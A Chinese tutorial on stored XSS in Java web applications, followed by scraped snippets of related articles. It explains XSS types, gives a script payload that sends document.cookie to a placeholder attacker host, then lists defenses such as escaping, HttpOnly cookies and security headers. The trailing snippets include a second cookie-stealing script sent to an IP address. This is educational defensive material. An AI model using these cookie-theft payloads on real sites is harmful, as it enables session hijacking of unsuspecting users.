Java Web开发 - 持久型/存储型XSS漏洞

1、什么是XSS漏洞攻击?

  XSS是跨站脚本攻击(Cross Site Scripting)的简称,之所以叫XSS而不是CSS相比大家都能明白了吧,那就是为了跟层叠样式表(Cascading Style Sheets,CSS)区别。

2、XSS漏洞攻击的原理

  恶意攻击者往web页面中插入恶意HTML代码,当用户浏览该web页面时,嵌入到该web页面的恶意HTML代码就会被执行,从而达到恶意攻击用户的特殊目的。

  XSS漏洞又分为两类,一类是持久型/存储型XSS,另一类是反射型XSS;

  1)持久型/存储型XSS:嵌入到web页面的恶意HTML会被存储到应用服务器端,简而言之就是会被存储到数据库,等用户在打开页面时,会继续执行恶意代码,能够持续的攻击用户;

  2)反射型XSS:反射型XSS是一次性的,仅对当次的页面访问产生影响。非持久型xss攻击要求用户访问一个被攻击者篡改后的链接,用户访问该链接时,被植入的攻击脚本被用户游览器执行,从而达到攻击目的;

  本次主要说的是持久型/存储型XSS漏洞攻击

3、下面是一个示例

  1)这个页面时个简单的添加页面

  2)保存成功之后,可以去查看下数据库,备注字段中的JavaScript代码已经存储到数据库中了,如下:

  3)在打开用户查询列表的页面(只要页面中包含该用户的备注字段都可以),就会出现如下的信息,代表我们攻击成功了。

  总结:

    到这里,可能有人会问,这个能有什么用啊?试想,如果把上面的“备注”字段的值修改成如下的代码,会有什么结果?

    <a id=‘attacker‘>点击就送百元现金</a>    <script>document.getElementById(‘attacker‘).href=‘http://www.attacker_741.com/receiveCookies.html?‘+document.cookie;</script>

  如果是这些恶意代码,那么攻击者就能获取到这个用户的cookie信息,进而以该用户角色登录系统了。

4、我们如何来防止这种XSS攻击呢?我总结了以下几点,大家可以参考下

  1)在页面上添加用户输入长度限制;

  2)在服务端(数据库)添加长度限制;

  3)过滤用户输入的特殊字符串,对其进行转义,如下

    示例字符串"<script>是不是document.getElementById(‘a‘).href=‘‘+document.cookie;</script>",下面是转义之后的字符串
      StringEscapeUtils - &lt;script&gt;是不是document.getElementById(‘a‘).href=‘‘+document.cookie;&lt;/script&gt;
      HtmlUtils - &lt;script&gt;是不是document.getElementById('a').href=''+document.cookie;&lt;/script&gt;

  4)http相关的设置

   A)cookie.setHttpOnly(true);-保护用户cookie

   B)res.setHeader("X-Frame-Options", "SAMEORIGIN");X-Frame-Options对应的属性值含义

      DENY:这个页面不允许被以frame的方式加载
      SAMEORIGIN:这个页面只允许同源页面加载
      <uri>:这个页面只能被特定的域加载
    C)res.setHeader("X-xss-protection", "1;mode=block");
    D)res.setHeader("X-Content-Type-Options", "nosniff ");阻止浏览器进行content-type 嗅探。告诉浏览器相信此服务器下发的资源的类型,防止类    型嗅探攻击。

  

时间: 2024-08-24 10:27:55

Java Web开发 - 持久型/存储型XSS漏洞的相关文章

WordPress &lt; 4.1.2 存储型XSS漏洞

WordPress < 4.1.2 存储型XSS漏洞 0x00 原理 最近几天爆出来的,今天才看.网上的分析也有很多了估计,我也发一篇好了233333因为确实很经典,思路很不错.具体的细节看老外写的,请戳: https://cedricvb.be/post/wordpress-stored-xss-vulnerability-4-1-2 这次主要是Mysql中的UTF-8只支持3个byte,如果需要支持4个byte的编码,则需要使用utf8mb4.不开启strict code(默认为Off)的时

DocCms存储型XSS+后台任意文件下载上传+目录删除+sql执行(有条件可getshell)

下载链接 https://share.weiyun.com/46ebceb4fe91da144ad2661522a941e1 留言处存储型XSS 漏洞在content/guestbook/index.php function create() { echo 123; global $db,$request; if ($_SESSION['verifycode'] != $request['checkcode']) { echo '<script>alert("请正确填写验证码!&qu

小白日记49:kali渗透测试之Web渗透-XSS(三)-存储型XSS、DOM型XSS、神器BEFF

存储型XSS与DOM型XSS [XSS原理] 存储型XSS 1.可长期存储于服务器端 2.每次用户访问都会被执行js脚本,攻击者只需侦听指定端口 #攻击利用方法大体等于反射型xss利用 ##多出现在留言板等位置 *推荐使用burpsuite a.观察返回结果,是否原封不动地返回输入数据?是否有其他标签 js代码通过留言板存储在服务器中,所以每次点击留言板链接,都会弹出xss弹窗 b.测试加载攻击者控制的服务器中的js文件 #启动apache2[默认侦听80端口] a.js [盗取客户端cooki

一次解决存储型xss和csrf漏洞的简单方法

目前我知道的,存储型xss解决方法:过滤转义用户输入的脚本.标签,csrf漏洞解决方法:校验referer.加token.加验证码 而referer校验是针对存在referer的情况,因为某些请求的head里没有referer,这时不能判断请求是非法的:加token,保存在哪是个问题,如果保存在session中,当集群部署时,session不同步会导致客户端的token与处理请求的服务器的token不一致:加验证码同样的道理,而且对用户体验非常不好. 由于xss和csrf都是改变用户请求参数来达

java web开发 高并发处理

java web开发 高并发处理 java 高并发 java处理高并发高负载类网站中数据库的设计方法(java教程,java处理大量数据,java高负载数据) 一:高并发高负载类网站关注点之数据库 没错,首先是数据库,这是大多数应用所面临的首个SPOF.尤其是Web2.0的应用,数据库的响应是首先要解决的. 一般来说MySQL是最常用的,可能最初是一个mysql主机,当数据增加到100万以上,那么,MySQL的效能急剧下降.常用的优化措施是M-S(主-从)方式进行同步复制,将查询和操作和分别在不

存储型xss调研

概念 存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行. 常见的xss攻击方法 1. 绕过XSS-Filter,利用<>标签注入Html/JavaScript代码: 2. 利用HTML标签的属性值进行xss攻击.例如:<img src="javascript:alert('xss')"/>:(当然并不是所有的Web浏览器都支持Javascr

web开发中常见的安全漏洞及避免方法

1.安全攻击 1.SQL.HTML.JS.OS命令注入 2.XSS跨站脚本攻击,利用站内信任的用户,在web页面插入恶意script代码 3.CSRF跨站请求伪造,通过伪装来自信任用户的请求来利用受信任的网站. 4.目录遍历漏洞 5.参数篡改 6.会话劫持 2.防止攻击的措施总结 1) 对用户输入的数据进行全面安全检查或过滤,尤其注意检查是否包含SQL 或XSS特殊字符. 验证用户输入的数据,包括值.类型.范围等等,用验证控件进行验证 RequiredFieldValidator RangeVa

【安全牛学员笔记】存储型XSS和BEEF浏览器攻击框架

存储型XSS 长期存储于服务器端 每次用于访问都会被执行javascript脚本 Name:客户端表单长度限制 客户端.截断代理 <script src=http://1.1.1.1/a.js></script> a.js源码 var img = new Image(); img.src = "http://1.1.1.1:88/cookies.php?cookie="+documnet.cookie; [email protected]:~# netstat

Java Web开发模式

一 Java Web开发模式的变迁 1 最初的Java web服务器端编程技术是Servlet,利用Servlet就可以开发出一个Web应用程序. 2 为了解决Servlet缺陷,SUN推出了JSP技术.但是开发人员又走向了另一个极端就是完全放弃了Servlet. 在JSP页面混合使用HTML标记和java代码编写的脚本元素标记来开发Web程序.采用这种方法虽然可以编写JSP页面变得简单,直观,然而,他只适合于业务流程简单,系统规模较小的应用系统. 如果系统较大的话,就会出现两个严重的缺点: 1